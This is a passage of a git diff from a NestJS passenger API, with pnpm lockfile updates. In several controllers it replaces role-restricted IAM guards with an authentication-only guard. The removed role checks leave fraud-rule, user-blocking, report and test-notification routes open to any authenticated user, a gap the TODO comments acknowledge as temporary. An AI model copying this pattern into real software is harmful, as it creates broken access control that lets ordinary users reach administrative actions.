'@nestjs/common'; import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger'; import { FraudService, FraudRuleConfig } from './fraud.service'; -import { IamGuard, IamRoles } from '../../common/iam-adapter'; -import { UserRole } from '@prisma/client'; +// IAM auth: validate the IAM session token via @tria-plc/api-common's DB-backed JwtGuard. +import { JwtGuard as IamJwtGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; @ApiTags('Fraud Detection') @Controller('fraud') -@UseGuards(IamGuard) +// TODO(iam-authz): restrict per route via @UseGuards(PermissionGuard([...])) once the IAM +// role→permission mapping (EIamPermissionKey) is confirmed. For now: authenticated IAM users only. +@UseGuards(IamJwtGuard) @ApiBearerAuth('IAM-auth') export class FraudController { private readonly logger = new Logger(FraudController.name); @@ -17,7 +19,6 @@ export class FraudController { * Get fraud alerts */ @Get('alerts') - @IamRoles('ADMIN', 'SUPERVISOR') @ApiOperation({ summary: 'Get fraud alerts' }) async getAlerts( @Query('userId') userId?: string, @@ -32,7 +33,6 @@ export class FraudController { * Get fraud rules */ @Get('rules') - @IamRoles('ADMIN') @ApiOperation({ summary: 'Get fraud detection rules' }) async getRules() { const rules = await this.fraudService.getRules(); @@ -43,7 +43,6 @@ export class FraudController { * Create or update fraud rule */ @Post('rules') - @IamRoles('ADMIN') @ApiOperation({ summary: 'Create or update fraud rule' }) async upsertRule(@Body() body: { type: string; config: FraudRuleConfig }) { const rule = await this.fraudService.upsertRule(body.type, body.config); @@ -54,7 +53,6 @@ export class FraudController { * Block user temporarily */ @Post('actions/block') - @IamRoles('ADMIN', 'SUPERVISOR') @ApiOperation({ summary: 'Block user temporarily' }) async blockUser(@Body() body: { userId: string; durationMinutes: number }) { await this.fraudService.blockUserTemporarily(body.userId, body.durationMinutes); @@ -65,7 +63,6 @@ export class FraudController { * Unblock user */ @Post('actions/unblock') - @IamRoles('ADMIN', 'SUPERVISOR') @ApiOperation({ summary: 'Unblock user' }) async unblockUser(@Body() body: { userId: string }) { await this.fraudService.unblockUser(body.userId); diff --git a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts index 9b363c04f..fec47abca 100644 --- a/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts +++ b/apps/edr-passenger-api/src/modules/notifications/notifications.controller.ts @@ -2,7 +2,6 @@ import { Controller, Get, Param, Patch, Post, Body, UseGuards } from '@nestjs/co import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger'; import { NotificationsService } from './notifications.service'; import { JwtGuard } from '../../common/jwt.guard'; -import { IamGuard, IamRoles } from '../../common/iam-adapter'; import { TestNotificationDto } from './notifications.dto'; @ApiTags('Notifications') @@ -31,8 +30,8 @@ export class NotificationsController { } @Post('test') - @UseGuards(IamGuard) - @IamRoles('ADMIN', 'STAFF') + // TODO(iam-authz): restrict to admin/staff via IAM PermissionGuard once role→permission mapping + // is confirmed. Currently protected by the class-level JwtGuard only. @ApiOperation({ summary: 'Test notification delivery (Admin only)' }) async testNotification(@Body() dto: TestNotificationDto) { return this.service.send( diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts index ba226f41f..266eedf09 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts @@ -3,7 +3,6 @@ import { ApiTags, ApiOperation, ApiBearerAuth, ApiResponse, ApiQuery } from '@ne import { PassengersService } from './passengers.service'; import { CreateTravelerProfileDto, CreateSavedRouteDto, VerifyFaydaDto, RegisterInternationalPassengerDto } from './passengers.dto'; import { JwtGuard } from '../../common/jwt.guard'; -import { IamGuard } from '../../common/iam-adapter'; import { VerifaydaService } from '../verifayda/verifayda.service'; @ApiTags('Passenger') diff --git a/apps/edr-passenger-api/src/modules/reports/reports.controller.ts b/apps/edr-passenger-api/src/modules/reports/reports.controller.ts index 772a1428c..10d1dece7 100644 --- a/apps/edr-passenger-api/src/modules/reports/reports.controller.ts +++ b/apps/edr-passenger-api/src/modules/reports/reports.controller.ts @@ -2,32 +2,31 @@ import { Body, Controller, Get, Param, Post, Query, UseGuards } from '@nestjs/co import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger'; import { ReportsService } from './reports.service'; import { GenerateReportDto } from './reports.dto'; -import { IamGuard, IamRoles } from '../../common/iam-adapter'; -import { UserRole } from '@prisma/client'; +// IAM auth: validate the IAM session token via @tria-plc/api-common's DB-backed JwtGuard. +import { JwtGuard as IamJwtGuard } from '@tria-plc/api-common/modules/auth/services/jwt.guard'; @ApiTags('Reports') @Controller('reports') -@UseGuards(IamGuard) +// TODO(iam-authz): restrict per route via @UseGuards(PermissionGuard([...])) once the IAM +// role→permission mapping (EIamPermissionKey) is confirmed. For now: authenticated IAM users only. +@UseGuards(IamJwtGuard) @ApiBearerAuth('IAM-auth') export class ReportsController { constructor(private service: ReportsService) {} @Post('generate') - @IamRoles('ADMIN', 'SUPERVISOR') @ApiOperation({ summary: 'Generate operational report' }) generateReport(@Body() dto: GenerateReportDto) { return this.service.generateReport(dto); } @Get(':reportId') - @IamRoles('ADMIN', 'SUPERVISOR') @ApiOperation({ summary: 'Get report by ID' }) getReport(@Param('reportId') reportId: string) { return this.service.getReport(reportId); } @Get() - @IamRoles('ADMIN', 'SUPERVISOR') @ApiOperation({ summary: 'List reports' }) listReports(@Query('type') type?: string) { return this.service.listReports(type); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 233b38a03..81135f520 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -43,7 +43,7 @@ importers: version: 4.0.4(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(rxjs@7.8.2) '@nestjs/core': specifier: ^11.1.19 - version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/event-emitter': specifier: ^2.0.4 version: 2.1.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) @@ -62,9 +62,24 @@ importers: '@nestjs/swagger': specifier: ^7.4.0 version: 7.4.2(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) + '@nestjs/typeorm': + specifier: ^11.0.1 + version: 11.0.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3))) '@sendgrid/mail': specifier: ^8.1.0 version: 8.1.6 + '@tria-plc/api-common': + specifier: ^0.1.4 + version: 0.1.4(296a75716ddf658d3d4f5879ef7db3cb) + '@tria-plc/iamapi-common': + specifier: ^0.1.6 + version: 0.1.6(efb6e02fa9b4108b3ff4c3ae477b6dad) + amqp-connection-manager: + specifier: ^5.0.0 + version: 5.0.0(amqplib@2.0.1) + amqplib: + specifier: ^2.0.1 + version: 2.0.1 axios: specifier: ^1.7.7 version: 1.16.1 @@ -77,6 +92,9 @@ importers: class-validator: specifier: ^0.14.0 version: 0.14.4 + dotenv: + specifier: ^17.4.2 + version: 17.4.2 jose: specifier: ^5.10.0 version: 5.10.0 @@ -86,6 +104,9 @@ importers: passport-jwt: specifier: ^4.0.1 version: 4.0.1 + pg: + specifier: ^8.21.0 + version: 8.21.0 qrcode: specifier: ^1.5.3 version: 1.5.4 @@ -101,6 +122,9 @@ importers: tsconfig-paths: specifier: ^4.2.0 version: 4.2.0 + typeorm: + specifier: ^0.3.30 + version: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) devDependencies: '@edr/eslint-config': specifier: workspace:* @@ -116,7 +140,7 @@ importers: version: 11.1.0(chokidar@4.0.3)(prettier@3.8.3)(typescript@5.9.3) '@nestjs/testing': specifier: ^11.1.19 - version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(@nestjs/platform-express@11.1.23) + version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23) '@prisma/client': specifier: ^6.19.3 version: 6.19.3(prisma@6.19.3(typescript@5.9.3))(typescript@5.9.3) @@ -317,7 +341,7 @@ importers: version: 11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/core': specifier: ^11.0.0 - version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) + version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23)(reflect-metadata@0.2.2)(rxjs@7.8.2) '@types/node': specifier: ^20.14.0 version: 20.19.41 @@ -329,7 +353,7 @@ importers: version: 7.8.2 typeorm: specifier: ^0.3.20 - version: 0.3.30(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) + version: 0.3.30(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.41)(typescript@5.9.3)) typescript: specifier: ^5.5.4 version: 5.9.3 @@ -708,6 +732,16 @@ packages: resolution: {integrity: sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==} engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + '@faker-js/faker@10.4.0': + resolution: {integrity: sha512-sDBWI3yLy8EcDzgobvJTWq1MJYzAkQdpjXuPukga9wXonhpMRvd1Izuo2Qgwey2OiEoRIBr35RMU9HJRoOHzpw==} + engines: {node: ^20.19.0 || ^22.13.0 || ^23.5.0 || >=24.0.0, npm: '>=10'} + + '@fast-csv/format@4.3.5': + resolution: {integrity: sha512-8iRn6QF3I8Ak78lNAa+Gdl5MJJBM5vRHivFtMRUWINdevNo00K7OXxS2PshawLKTejVwieIlPmK5YlLu6w4u8A==} + + '@fast-csv/parse@4.3.6': + resolution: {integrity: sha512-uRsLYksqpbDmWaSmzvJcuApSEe38+6NQZBUsuAyMZKqHxH0g1wcJgsKUvN3WC8tewaqFjBMMGrkHmC+T7k8LvA==} + '@hookform/resolvers@3.10.0': resolution: {integrity: sha512-79Dv+3mDF7i+2ajj7SkypSKHhl1cbln1OGavqrsF7p6mbUv11xpqpacPsGDCTRvCSjEEIez2ef1NveSVL3b0Ag==} peerDependencies: @@ -1067,6 +1101,42 @@ packages: class-validator: optional: true + '@nestjs/microservices@11.1.24': + resolution: {integrity: sha512-ALu/7qk3obFlw7KVSPRz+BjuyWPLmv9isknhLG8UYXkjx3aPhJGp52i3qiTqucM1jKtoBgPa3+SK4e9fVvglGA==} + peerDependencies: + '@grpc/grpc-js': '*' + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/websockets': ^11.0.0 + amqp-connection-manager: '*' + amqplib: '*' + cache-manager: '*' + ioredis: '*' + kafkajs: '*' + mqtt: '*' + nats: '*' + reflect-metadata: ^0.1.12 || ^0.2.0 + rxjs: ^7.1.0 + peerDependenciesMeta: + '@grpc/grpc-js': + optional: true + '@nestjs/websockets': + optional: true + amqp-connection-manager: + optional: true + amqplib: + optional: true + cache-manager: + optional: true + ioredis: + optional: true + kafkajs: + optional: true + mqtt: + optional: true + nats: + optional: true + '@nestjs/passport@10.0.3': resolution: {integrity: sha512-znJ9Y4S8ZDVY+j4doWAJ8EuuVO7SkQN3yOBmzxbGaXbvcSwFDAdGJ+OMCg52NdzIO4tQoN4pYKx8W6M0ArfFRQ==} peerDependencies: @@ -1124,6 +1194,22 @@ packages: '@nestjs/platform-express': optional: true + '@nestjs/throttler@6.5.0': + resolution: {integrity: sha512-9j0ZRfH0QE1qyrj9JjIRDz5gQLPqq9yVC2nHsrosDVAfI5HHw08/aUAWx9DZLSdQf4HDkmhTTEGLrRFHENvchQ==} + peerDependencies: + '@nestjs/common': ^7.0.0 || ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0 + '@nestjs/core': ^7.0.0 || ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0 + reflect-metadata: ^0.1.13 || ^0.2.0 + + '@nestjs/typeorm@11.0.1': + resolution: {integrity: sha512-8rw/nKT0S+L+MkzgE9F2/mox7mAgsPlwfzmW9gsESN1lmQtIrVEfiiBwC2O8+guS1jBfQehJIdcdUj2OAp4VUQ==} + peerDependencies: + '@nestjs/common': ^10.0.0 || ^11.0.0 + '@nestjs/core': ^10.0.0 || ^11.0.0 + reflect-metadata: ^0.1.13 || ^0.2.0 + rxjs: ^7.2.0 + typeorm: ^0.3.0 || ^1.0.0-dev + '@next/env@14.2.35': resolution: {integrity: sha512-DuhvCtj4t9Gwrx80dmz2F4t/zKQ4ktN8WrMwOuVzkJfBilwAwGr6v16M5eI8yCuZ63H9TTuEU09Iu2HqkzFPVQ==} @@ -1216,6 +1302,10 @@ packages: '@paralleldrive/cuid2@2.3.1': resolution: {integrity: sha512-XO7cAxhnTZl0Yggq6jOgjiOHhbgcO4NqFqwSmQpjK3b6TEE6Uj/jfSk6wzYyemh3+I0sHirKSetjQwn5cZktFw==} + '@phc/format@1.0.0': + resolution: {integrity: sha512-m7X9U6BG2+J+R1lSOdCiITLLrxm+cWlNI3HUFA92oLO77ObGNzaKdh8pMLqdZcshtkKuV84olNNXDfMc4FezBQ==} + engines: {node: '>=10'} + '@pkgjs/parseargs@0.11.0': resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} engines: {node: '>=14'} @@ -1307,6 +1397,43 @@ packages: '@tokenizer/token@0.3.0': resolution: {integrity: sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==} + '@tria-plc/api-common@0.1.4': + resolution: {integrity: sha512-lm9esp5PDxUyggqxYXbx2CQhZKwtcAaAcGFuuUURw3u5DlzGUNwMOFkQkDLM/fbgN+33+s1RKC7UynnG9NZFww==, tarball: https://npm.pkg.github.com/download/@tria-plc/api-common/0.1.4/de160e4bb61a882efd9c877b4614028f1ffd7cb8} + peerDependencies: + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/jwt': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/passport': ^11.0.0 + '@nestjs/swagger': ^11.0.0 + '@nestjs/throttler': ^6.0.0 + '@nestjs/typeorm': ^11.0.0 + '@tria-plc/iamapi-common': '*' + reflect-metadata: ^0.2.0 + rxjs: ^7.8.0 + typeorm: ^0.3.0 + + '@tria-plc/iamapi-common@0.1.6': + resolution: {integrity: sha512-qaCLZ1TgbcQ5XciRuA/aZjRCM/GmGYgcmsyDDIlhiMNw3FL3DCiR/QiFuQpERvV4FqgQNBJg66+S/jXO3I2jbw==, tarball: https://npm.pkg.github.com/download/@tria-plc/iamapi-common/0.1.6/e2a8f3357b650bb9477facae4aaa7044382acebf} + engines: {node: '>=20'} + peerDependencies: + '@nestjs/axios': ^4.0.0 + '@nestjs/common': ^11.0.0 + '@nestjs/core': ^11.0.0 + '@nestjs/jwt': ^11.0.0 + '@nestjs/microservices': ^11.0.0 + '@nestjs/passport': ^11.0.0 + '@nestjs/swagger': ^11.0.0 + '@nestjs/throttler': ^6.0.0 + '@nestjs/typeorm': ^11.0.0 + '@tria-plc/api-common': ^0.1.0 + axios: ^1.9.0 + class-transformer: ^0.5.1 + class-validator: ^0.14.1 + reflect-metadata: ^0.2.0 + rxjs: ^7.8.0 + typeorm: ^0.3.0 + '@tsconfig/node10@1.0.12': resolution: {integrity: sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==} @@ -1460,6 +1587,9 @@ packages: '@types/ms@2.1.0': resolution: {integrity: sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==} + '@types/node@14.18.63': + resolution: {integrity: sha512-fAtCfv4jJg+ExtXhvCkCqUKZ+4ok/JQk01qDKhL5BDDoS3AxKXhV5/MAVUZyQnSEd2GT92fkgZl0pz0Q0AzcIQ==} + '@types/node@20.19.41': resolution: {integrity: sha512-ECymXOukMnOoVkC2bb1Vc/w/836DXncOg5m8Xj1RH7xSHZJWNYY6Zh7EH477vcnD5egKNNfy2RpNOmuChhFPgQ==} @@ -1752,6 +1882,9 @@ packages: '@xtuc/long@4.2.2': resolution: {integrity: sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==} + '@zxing/text-encoding@0.9.0': + resolution: {integrity: sha512-U/4aVJ2mxI0aDNI8Uq0wEhMgY+u4CNtEb0om3+y3+niDAsoTCOB33UF0sxpzqzdqXLqmvc+vZyAt4O8pPdfkwA==} + JSONStream@1.3.5: resolution: {integrity: sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==} hasBin: true @@ -1783,6 +1916,10 @@ packages: engines: {node: '>=0.4.0'} hasBin: true + adler-32@1.3.1: + resolution: {integrity: sha512-ynZ4w/nUUv5rrsR8UUGoe1VC9hZj6V5hU9Qw1HlMDJGEJw5S7TfTErWTjMys6M7vr0YWcPqs3qAr4ss0nDfP+A==} + engines: {node: '>=0.8'} + agent-base@6.0.2: resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==} engines: {node: '>= 6.0.0'} @@ -1822,10 +1959,76 @@ packages: ajv@8.20.0: resolution: {integrity: sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==} + amqp-connection-manager@5.0.0: + resolution: {integrity: sha512-88yQzqa5RSBgnLl504XjvCQJ7d+osskdwvg35Lwm1LRbfLjNU9p7SQUMSP82BB7mseiq9tIUPJ3HE3eXQbpjEw==} + engines: {node: '>=10.0.0', npm: '>5.0.0'} + peerDependencies: + amqplib: '*' + + amqplib@2.0.1: + resolution: {integrity: sha512-a3P2MgfCf9nzVis12VxWEn0dS6hcqve7dlEAhXDtIWR27BlhtMkILOc+H9aeHjDi6i6r94dYKc2Kx2OFe3avvg==} + engines: {node: '>=18'} + + ansi-bgblack@0.1.1: + resolution: {integrity: sha512-tp8M/NCmSr6/skdteeo9UgJ2G1rG88X3ZVNZWXUxFw4Wh0PAGaAAWQS61sfBt/1QNcwMTY3EBKOMPujwioJLaw==} + engines: {node: '>=0.10.0'} + + ansi-bgblue@0.1.1: + resolution: {integrity: sha512-R8JmX2Xv3+ichUQE99oL+LvjsyK+CDWo/BtVb4QUz3hOfmf2bdEmiDot3fQcpn2WAHW3toSRdjSLm6bgtWRDlA==} + engines: {node: '>=0.10.0'} + + ansi-bgcyan@0.1.1: + resolution: {integrity: sha512-6SByK9q2H978bmqzuzA5NPT1lRDXl3ODLz/DjC4URO5f/HqK7dnRKfoO/xQLx/makOz7zWIbRf6+Uf7bmaPSkQ==} + engines: {node: '>=0.10.0'} + + ansi-bggreen@0.1.1: + resolution: {integrity: sha512-8TRtOKmIPOuxjpklrkhUbqD2NnVb4WZQuIjXrT+TGKFKzl7NrL7wuNvEap3leMt2kQaCngIN1ZzazSbJNzF+Aw==} + engines: {node: '>=0.10.0'} + + ansi-bgmagenta@0.1.1: + resolution: {integrity: sha512-UZYhobiGAlV4NiwOlKAKbkCyxOl1PPZNvdIdl/Ce5by45vwiyNdBetwHk/AjIpo1Ji9z+eE29PUBAjjfVmz5SA==} + engines: {node: '>=0.10.0'} + + ansi-bgred@0.1.1: + resolution: {integrity: sha512-BpPHMnYmRBhcjY5knRWKjQmPDPvYU7wrgBSW34xj7JCH9+a/SEIV7+oSYVOgMFopRIadOz9Qm4zIy+mEBvUOPA==} + engines: {node: '>=0.10.0'} + + ansi-bgwhite@0.1.1: + resolution: {integrity: sha512-KIF19t+HOYOorUnHTOhZpeZ3bJsjzStBG2hSGM0WZ8YQQe4c7lj9CtwnucscJDPrNwfdz6GBF+pFkVfvHBq6uw==} + engines: {node: '>=0.10.0'} + + ansi-bgyellow@0.1.1: + resolution: {integrity: sha512-WyRoOFSIvOeM7e7YdlSjfAV82Z6K1+VUVbygIQ7C/VGzWYuO/d30F0PG7oXeo4uSvSywR0ozixDQvtXJEorq4Q==} + engines: {node: '>=0.10.0'} + + ansi-black@0.1.1: + resolution: {integrity: sha512-hl7re02lWus7lFOUG6zexhoF5gssAfG5whyr/fOWK9hxNjUFLTjhbU/b4UHWOh2dbJu9/STSUv+80uWYzYkbTQ==} + engines: {node: '>=0.10.0'} + + ansi-blue@0.1.1: + resolution: {integrity: sha512-8Um59dYNDdQyoczlf49RgWLzYgC2H/28W3JAIyOAU/+WkMcfZmaznm+0i1ikrE0jME6Ypk9CJ9CY2+vxbPs7Fg==} + engines: {node: '>=0.10.0'} + + ansi-bold@0.1.1: + resolution: {integrity: sha512-wWKwcViX1E28U6FohtWOP4sHFyArELHJ2p7+3BzbibqJiuISeskq6t7JnrLisUngMF5zMhgmXVw8Equjzz9OlA==} + engines: {node: '>=0.10.0'} + + ansi-colors@0.2.0: + resolution: {integrity: sha512-ScRNUT0TovnYw6+Xo3iKh6G+VXDw2Ds7ZRnMIuKBgHY02DgvT2T2K22/tc/916Fi0W/5Z1RzDaHQwnp75hqdbA==} + engines: {node: '>=0.10.0'} + ansi-colors@4.1.3: resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} engines: {node: '>=6'} + ansi-cyan@0.1.1: + resolution: {integrity: sha512-eCjan3AVo/SxZ0/MyIYRtkpxIu/H3xZN7URr1vXVrISxeyz8fUFz0FJziamK4sS8I+t35y4rHg1b2PklyBe/7A==} + engines: {node: '>=0.10.0'} + + ansi-dim@0.1.1: + resolution: {integrity: sha512-zAfb1fokXsq4BoZBkL0eK+6MfFctbzX3R4UMcoWrL1n2WHewFKentTvOZv2P11u6P4NtW/V47hVjaN7fJiefOg==} + engines: {node: '>=0.10.0'} + ansi-escapes@4.3.2: resolution: {integrity: sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==} engines: {node: '>=8'} @@ -1834,6 +2037,38 @@ packages: resolution: {integrity: sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg==} engines: {node: '>=18'} + ansi-gray@0.1.1: + resolution: {integrity: sha512-HrgGIZUl8h2EHuZaU9hTR/cU5nhKxpVE1V6kdGsQ8e4zirElJ5fvtfc8N7Q1oq1aatO275i8pUFUCpNWCAnVWw==} + engines: {node: '>=0.10.0'} + + ansi-green@0.1.1: + resolution: {integrity: sha512-WJ70OI4jCaMy52vGa/ypFSKFb/TrYNPaQ2xco5nUwE0C5H8piume/uAZNNdXXiMQ6DbRmiE7l8oNBHu05ZKkrw==} + engines: {node: '>=0.10.0'} + + ansi-grey@0.1.1: + resolution: {integrity: sha512-+J1nM4lC+whSvf3T4jsp1KR+C63lypb+VkkwtLQMc1Dlt+nOvdZpFT0wwFTYoSlSwCcLUAaOpHF6kPkYpSa24A==} + engines: {node: '>=0.10.0'} + + ansi-hidden@0.1.1: + resolution: {integrity: sha512-8gB1bo9ym9qZ/Obvrse1flRsfp2RE+40B23DhQcKxY+GSeaOJblLnzBOxzvmLTWbi5jNON3as7wd9rC0fNK73Q==} + engines: {node: '>=0.10.0'} + + ansi-inverse@0.1.1: + resolution: {integrity: sha512-Kq8Z0dBRhQhDMN/Rso1Nu9niwiTsRkJncfJZXiyj7ApbfJrGrrubHXqXI37feJZkYcIx6SlTBdNCeK0OQ6X6ag==} + engines: {node: '>=0.10.0'} + + ansi-italic@0.1.1: + resolution: {integrity: sha512-jreCxifSAqbaBvcibeQxcwhQDbEj7gF69XnpA6x83qbECEBaRBD1epqskrmov1z4B+zzQuEdwbWxgzvhKa+PkA==} + engines: {node: '>=0.10.0'} + + ansi-magenta@0.1.1: + resolution: {integrity: sha512-A1Giu+HRwyWuiXKyXPw2AhG1yWZjNHWO+5mpt+P+VWYkmGRpLPry0O5gmlJQEvpjNpl4RjFV7DJQ4iozWOmkbQ==} + engines: {node: '>=0.10.0'} + + ansi-red@0.1.1: + resolution: {integrity: sha512-ewaIr5y+9CUTGFwZfpECUbFlGcC0GCw1oqR9RI6h1gQCd9Aj2GxSckCnPsVJnmfMZbwFYE+leZGASgkWl06Jow==} + engines: {node: '>=0.10.0'} + ansi-regex@5.0.1: resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} engines: {node: '>=8'} @@ -1842,6 +2077,14 @@ packages: resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} engines: {node: '>=12'} + ansi-reset@0.1.1: + resolution: {integrity: sha512-n+D0qD3B+h/lP0dSwXX1SZMoXufdUVotLMwUuvXa50LtBAh3f+WV8b5nFMfLL/hgoPBUt+rG/pqqzF8krlZKcw==} + engines: {node: '>=0.10.0'} + + ansi-strikethrough@0.1.1: + resolution: {integrity: sha512-gWkLPDvHH2pC9YEKqp8dIl0mg3sRglMPvioqGDIOXiwxjxUwIJ1gF86E2o4R5yLNh8IAkwHbaMtASkJfkQ2hIA==} + engines: {node: '>=0.10.0'} + ansi-styles@4.3.0: resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} engines: {node: '>=8'} @@ -1854,6 +2097,22 @@ packages: resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} engines: {node: '>=12'} + ansi-underline@0.1.1: + resolution: {integrity: sha512-D+Bzwio/0/a0Fu5vJzrIT6bFk43TW46vXfSvzysOTEHcXOAUJTVMHWDbELIzGU4AVxVw2rCTb7YyWS4my2cSKQ==} + engines: {node: '>=0.10.0'} + + ansi-white@0.1.1: + resolution: {integrity: sha512-DJHaF2SRzBb9wZBgqIJNjjTa7JUJTO98sHeTS1sDopyKKRopL1KpaJ20R6W2f/ZGras8bYyIZDtNwYOVXNgNFg==} + engines: {node: '>=0.10.0'} + + ansi-wrap@0.1.0: + resolution: {integrity: sha512-ZyznvL8k/FZeQHr2T6LzcJ/+vBApDnMNZvfVFy3At0knswWd6rJ3/0Hhmpu8oqa6C92npmozs890sX9Dl6q+Qw==} + engines: {node: '>=0.10.0'} + + ansi-yellow@0.1.1: + resolution: {integrity: sha512-6E3D4BQLXHLl3c/NwirWVZ+BCkMq2qsYxdeAGGOijKrx09FaqU+HktFL6QwAwNvgJiMLnv6AQ2C1gFZx0h1CBg==} + engines: {node: '>=0.10.0'} + ansis@4.2.0: resolution: {integrity: sha512-HqZ5rWlFjGiV0tDm3UxxgNRqsOTniqoKZu0pIAfh7TZQMGuZK+hH0drySty0si0QXj1ieop4+SkSfPZBPPkHig==} engines: {node: '>=14'} @@ -1879,6 +2138,18 @@ packages: aproba@2.1.0: resolution: {integrity: sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==} + archiver-utils@2.1.0: + resolution: {integrity: 